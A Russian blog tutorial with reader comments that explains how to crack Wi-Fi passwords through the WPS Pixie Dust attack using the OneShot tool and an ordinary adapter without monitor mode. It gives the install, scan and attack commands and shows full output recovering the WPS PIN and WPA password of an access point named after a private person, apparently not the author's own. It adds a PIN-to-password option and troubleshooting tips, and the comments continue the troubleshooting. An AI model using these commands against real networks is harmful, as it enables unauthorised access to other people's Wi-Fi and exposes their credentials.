Как взломать Wi-Fi обычным адаптером без режима монитора

На HackWare.ru уже много материала про аудит безопасности Wi-Fi сетей. В этом комментарии Виктор порекомендовал программу OneShot. Её особенность в том, что она использует атаку Pixie Dust. Но таких программ, на самом деле, уже достаточно. Вторая особенность этой программы в том, что ей не нужен режим монитора. Это означает, что подойдёт любая Wi-Fi карта — даже такая, с которой у вас раньше не получалось выполнить атаки.

Хотя подойдёт любой Wi-Fi адаптер, лучше если у него внешняя антенна или же вам нужно находиться не слишком далеко от целевой точки доступа.

Программа OneShot очень проста в установке:

git clone https://github.com/drygdryg/OneShot
cd OneShot/
sudo ./oneshot.py --help

Это актуальный мод, ссылку на оригинальную версию (если она вам нужна) вы найдёте в карточке описания программы: https://kali.tools/?p=4887

Как найти Wi-Fi сети с поддержкой WPS

Для запуска программы в отношении Точки Доступа Wi-Fi необходимо знать её BSSID, то есть её MAC-адрес. BSSID точек доступа можно посмотреть, к примеру, программой Airodump-ng. Эта программа требует режима монитора. Но давайте исходить из того, что у нас обычный Wi-Fi адаптер, который не поддерживает режим монитора.

Выход из этой ситуации есть — BSSID распространяется в обычных фреймах (маячках) и операционная система всегда знает BSSID каждой Точки Доступа в округе (хотя обычно и не показывает эту информацию, поскольку большинству пользователей она не нужна).

Прежде чем приступить, начнём с того, что остановим NetworkManager, поскольку он постоянно будет мешаться нам:

systemctl stop NetworkManager

Теперь нам нужно узнать имя беспроводного интерфейса. В Kali Linux это обычно wlan0. Если вы не знаете имя интерфейса в вашей системе, то выполните команду:

iw dev

Будет выведено примерно следующее:

phy#0
	Interface wlan0
		ifindex 3
		wdev 0x1
		addr 7e:ef:a8:b2:43:60
		type managed
		txpower 20.00 dBm

Строка, которая начинается на Interface, и содержит имя интерфейса.

Нужно активировать Wi-Fi адаптер командой вида:

ip link set ИНТЕРФЕЙС up

Где вместо ИНТЕРФЕЙС нужно вставить имя вашего беспроводного интерфейса. Для wlan0 команда будет такой:

ip link set wlan0 up

Чтобы операционная система просканировала Точки Доступа в пределах досягаемости и показала нам информацию по ним, запустите такую команду:

iw dev ИНТЕРФЕЙС scan

Для wlan0:

iw dev wlan0 scan

После сканирования, скорее всего, информации будет выведено ОЧЕНЬ много, пролистывайте и ищите те ТД для которых имеется поле WPS, например:

	WPS:	 * Version: 1.0
		 * Wi-Fi Protected Setup State: 2 (Configured)
		 * Response Type: 3 (AP)
		 * UUID: 0be8e40b-92b5-23fc-a1ca-72fbf138036f
		 * Manufacturer: TC7200
		 * Model: TC7200
		 * Model Number: 123456
		 * Serial Number: 0000001
		 * Primary Device Type: 6-0050f204-1
		 * Device name: TechnicolorAP
		 * Config methods: Display
		 * RF Bands: 0x1

Это хорошо, пролистываю чуть вверх, чтобы увидеть BSSID этой точки доступа:

BSS b0:c2:87:4b:e0:fd(on wlan0)
	TSF: 125911554303 usec (1d, 10:58:31)
	freq: 2412
	beacon interval: 100 TUs
	capability: ESS Privacy ShortSlotTime RadioMeasure (0x1411)
	signal: -67.00 dBm
	last seen: 9352 ms ago
	Information elements from Probe Response frame:
	SSID: Mr.yongyut Daengluead 2G
	Supported rates: 1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 
	DS Parameter set: channel 1
	ERP: Barker_Preamble_Mode
	ERP D4.0: Barker_Preamble_Mode

В этом списке BSSID называется BSS и для данной Точки Доступа значение равно b0:c2:87:4b:e0:fd. Больше нам никакая информация не нужна, но отметим, что уровень сигнала хороший, а имя этой точки доступа Mr.yongyut Daengluead 2G:

	signal: -67.00 dBm
	SSID: Mr.yongyut Daengluead 2G

Атака Pixie Dust

Теперь нужно запустить команду вида:

python3 oneshot.py -i wlan0 -b BSSID -K

В этой команде BSSID нужно заменить на действительное значение для интересующей точки доступа. Например:

python3 oneshot.py -i wlan0 -b b0:c2:87:4b:e0:fd -K

Полученный вывод:

[*] Running wpa_supplicant...
[*] Trying PIN "12345670"...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with B0:C2:87:4B:E0:FD (ESSID: Mr.yongyut Daengluead 2G)
[*] Sending EAPOL Start...
[*] Received Identity Request
[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: 460029BB72C930E71309524CB331A25D
[*] Sending WPS Message M2...
[P] PKR: 53E94D34306AA115199C7F1DDBA2CC7572F60D64A9EF6F6A6211416CDA2EB679C00BF9297D00895FFE412AD90BE5A33D902EF9200229E5A88C63892B3FC9366B110EF71853E5F93037036041A1DACFFC3CAB59ACB12A9D9EF8DB47F2F0F5C98C95830CBD7689C18B34B1A839C1C5975E99CDC507594D76C0F5CE1CEC85207478A16B50F05E4E5F20CB804B1E58D734939F736EF899AE4C9CFE818A72DCA72E19845737E3765B23C4A0F746F6876DECF3680EFAD08FEE156B152F56A572151A72
[P] PKE: CADFCC3F2D87D4EFBAF35A7541C50D966BAC20BD3FB204AC8883F8B77E8F557F2F2D2D796E13FC3DA98BDAEFC5C76CFDD90283E715988C7C61A0456632E436705C8978A1F210533A1FF70BEE8F1BF0026037C5922DC4E2A7E99AC4AFD679A627809DA03362BC674E0200E78E0F686F7C77B17A02C502F87FF697F35D8BCDA364B515CD3DB37B17F84BDA76C1E8C63C3DC23F7E306701AB201F85D701DFF1D3102D59A6BDF6A4153D6C40EC2690E1178639BE85314DC7C0EC39AA0885455D4D4C
[P] AuthKey: DD5238440D336186241B11838D46970E9DA9E9715CF4221374875F09310F8EC6
[*] Received WPS Message M3
[P] E-Hash1: 2D7CD407438467EE2C14FD9F58A8E81CCD7AADA2D6913DF5B43F059B55C417ED
[P] E-Hash2: 164CA34B538C84ED15C676B09D84CCE2347EF4944D2F51086CEA7F517707F423
[*] Sending WPS Message M4...
[*] Received WPS Message M5
[*] Sending WPS Message M6...
[*] Received WPS Message M7
[+] WPS PIN: '12345670'
[+] WPA PSK: '0619560772'
[+] AP SSID: 'Mr.yongyut Daengluead 2G'


Узнанный ПИН находится в строке WPS PIN, пароль от Wi-Fi в строке WPA PSK, а название точки доступа в строке AP SSID:

[+] WPS PIN: '12345670'
[+] WPA PSK: '0619560772'
[+] AP SSID: 'Mr.yongyut Daengluead 2G'

То есть эта ТД Wi-Fi не прошла аудит безопасности…

В случае неудачи на нашей стороне, будет выведено что-то вроде:

[-] WPS-FAIL error
[!] No enough data to run Pixie Dust attack

Встроенное сканирование

После обновления OneShot получило встроенный сканер для поиска беспроводных сетей с поддержкой WPS. Теперь если запустить программу без опции --bssid,

./oneshot.py -i wlp0s20f0u1 -K

то она начнёт со сканирования для поиска Wi-Fi с WPS:

Будет выведен список сетей и вам достаточно указать номер целевой ТД для выполнения в отношении её атаки.

Красным помечены ТД у которых WPS заблокирован.

Зелёным помечены ТД с высокой вероятностью уязвимости к атаке Pixie Dust.

Не отмеченные ТД также могут быть уязвимы.

Получение пароля Wi-Fi сети когда известен WPS ПИН

Программу OneShot также можно использовать для получения PSK ключа (проще говоря, пароля от Wi-Fi) когда уже известен WPS PIN.

Для этого программу нужно запустить с опцией -p после которой нужно указать ПИН-код. Опцию -K указывать не нужно. Пример команды:

sudo ./oneshot.py -i wlp0s20f0u1 -b CC:4E:EC:4E:B3:18 -p 96101019

Ошибка «Unexpected interference — kill NetworkManager/wpa_supplicant!»

При атаке на некоторые Точки Доступа возникает ошибка:

[!] Unexpected interference — kill NetworkManager/wpa_supplicant!

Суть сообщения в том, что беспроводной интерфейс испытывает непредвиденное влияние, которое может быть связано, в первую очередь, с работой программ NetworkManager и wpa_supplicant. Поэтому в первую очередь попробуйте остановить эти программы:

sudo systemctl stop NetworkManager
sudo airmon-ng check kill

Это необязательно исправит ошибку. По ощущениям, она возникает, когда что-то идёт «не по плану», например, не удаётся получить очередное M* сообщение из-за того, что целевая ТД слишком далеко и сигнал нестабильный. То есть причиной может быть не только NetworkManager/wpa_supplicant, но и плохой сигнал.

К примеру, я запускал команду несколько раз подряд и получал одно и то же сообщение про Unexpected interference:

Затем взял более чувствительный Wi-Fi адаптер и переместил его поближе к ТД — и всё прошло успешно:

Атаки на WPS довольно чувствительны к качеству сигнала. Следует попробовать использовать другие Wi-Fi адаптеры, большие или направленные антенны, либо подойти к целевой Точке Доступа поближе.

Заключение

Когда наиграетесь, то чтобы NetworkManager вновь заработал (и вернулось Интернет-подключение), выполните команду:

systemctl start NetworkManager

Итак, программа OneShot отлично себя показала — я получил положительный результат сразу, при первом запуске.

Нужно обратить внимание, что команда

iw dev wlan0 scan

является малочувствительной. То есть она покажет только Точки Доступа в уверенном зоне досягаемости. С одной стороны, это хорошо, так как вы не будете тратить время на Точки Доступа, которые хотя и видны, но из-за слабости сигнала с ними невозможно ничего сделать — только потеряете время с ними. Но с другой стороны, вы можете упустить что-то интересное. Поэтому, при желании, дополнительные ТД с включённым WPS можно собрать и с помощью Airodump-ng.

Такой же «фокус» (применять атаку Pixie Dust с адаптером без режима монитора) умеет программа Router Scan в Windows. Подробности смотрите в статье «Новые возможности Router Scan by Stas’M v2.60: беспроводной взлом Wi-Fi из Windows».

И, конечно, спасибо Виктору, что обратил внимание на такую интересную программу. Кстати, я только сейчас понял, что видимо этот тот же самый Victor, который автор мода.

Рекомендуется Вам:

14 комментариев to Как взломать Wi-Fi обычным адаптером без режима монитора

  1. Андрей:

    root@kali:~# systemctl stop NetworkManager
    root@kali:~# iw dev wlan0 scan
    command failed: Network is down (-100)

    делаю все инструкции, и вот такое выдает
     

    • Alexey Alexey:

      Приветствую! Видимо, вы подключили Wi-Fi адаптер уже после того, как остановили NetworkManager.

      Дело в том, что при подключении Wi-Fi адаптера к Linux, он находится в состоянии Down. Программы, которые его используют, например, NetworkManager, переводят беспроводной интерфейс в состояние Up. Я остановил NetworkManager уже после подключения беспроводной карты, поэтому у меня такой проблемы не возникло.

      Ошибку очень легко решить даже без NetworkManager, просто переведите беспроводной интерфейс в состояние Up следующей командой:

      sudo ip link set wlan0 up

      Сейчас добавлю в инструкцию эту команду.

      • Андрей:

        да, все заработало, но возникла новая проблема

        [*] Scanning…
        [*] Authenticating…
        [+] Authenticated
        [*] Associating with AP…
        [!] Unexpected interference — kill NetworkManager/wpa_supplicant!
         

        • Андрей:

          и нет, я подключил адаптер, а потом отключал NetworkManager

        • Alexey Alexey:

          Программа жалуется, что запущен NetworkManager или wpa_supplicant.

          Следующие команды должны помочь:

          systemctl stop NetworkManager
          airmon-ng check kill
          
          • Аноним:

            все равно тоже самое выдает, много чего из ваших статей пробовал, но чет все одни и те же проблемы(

            • Alexey Alexey:

              Думаете у меня не возникают трудности? )))) Иногда приходится править исходный код программ просто чтобы они загустились, и только потом уже выяснить, что на самом деле программа не работает… Самый последний пример такой программы WiFiBroot.

              Это статьи по довольно специфичной тематике, и успех очень зависит от понимания Linux и умения решать проблемы, или хотя бы знать, в какую сторону нужно двигаться. Под проблемами я не имею в виду интерфейс в состоянии Down — это элементарно, азы; я про настоящие проблемы.

              Например, после ошики «[!] Unexpected interference — kill NetworkManager/wpa_supplicant!», напишите сюда, что выведут команды:

              systemctl status NetworkManager
              ps -ef | grep -i supplicant
              
              • Андрей:

                1)NetworkManager.service - Network Manager
                   Loaded: loaded (/lib/systemd/system/NetworkManager.service; enabled; vendor p
                   Active: inactive (dead) since Sat 2019-08-31 10:20:57 EDT; 2min 12s ago
                     Docs: man:NetworkManager(8)
                  Process: 668 ExecStart=/usr/sbin/NetworkManager --no-daemon (code=exited, stat
                 Main PID: 668 (code=exited, status=0/SUCCESS)
                    Tasks: 0 (limit: 2347)
                   Memory: 8.6M
                   CGroup: /system.slice/NetworkManager.service

                2)root      2508  2352  0 10:23 pts/0    00:00:00 grep -i supplicant

                 

          • Андрей:

            вообщем, я не знаю, с раза 5-го вроде заработал, попробовал на одном своем wifi, получилось, решил попробовать на втором своем wifi опять выдает эту ошибку 

            Scanning…
            [*] Authenticating…
            [+] Authenticated
            [*] Associating with AP…
            [!] Unexpected interference — kill NetworkManager/wpa_supplicant!
             

    • Виктор:

      Обновите OneShot и напишите, наблюдается ли проблема.

  2. Виктор:

    Спасибо за статью! OneShot обновлён, и теперь нет необходимости искать нужную сеть с помощью iw — достаточно запустить скрипт без аргумента -b (BSSID), и он найдёт доступные сети с включённым WPS и выведет их в виде таблицы, после чего предложит выбрать сеть из списка для начала атаки.

  3. Alexey Alexey:

    С новой версией стало очень удобно — спасибо! Сегодня подправлю инструкцию.

    С ошибкой

    [!] Unexpected interference — kill NetworkManager/wpa_supplicant!

    я теперь тоже столкнулся, когда стал пробовать все ТД подряд.

    По ощущениям, она возникает, когда что-то идёт «не по плану», например, не удаётся получить очередное M* сообщение из-за того, что целевая ТД слишком далеко и сигнал нестабильный. То есть причиной может быть не только NetworkManager/wpa_supplicant, но и плохой сигнал.

    К примеру, я запускал команду несколько раз подряд и получал одно и то же сообщение про Unexpected interference:

    Затем взял более чувствительный Wi-Fi адаптер и переместил его поближе к ТД — и всё прошло успешно:

    • Виктор:

      Спасибо за то, что дали знать. Можете узнать и соообщить версию вашего wpa_supplicant командой wpa_supplicant -v и попробовать подключится к сети со слабым сигналом с аргументом-v (oneshot.py -i wlp0s20f0u1 -K -v) и отлогировать вывод (аргумент включает отладочный вывод wpa_supplicant)?

Добавить комментарий

Ваш e-mail не будет опубликован.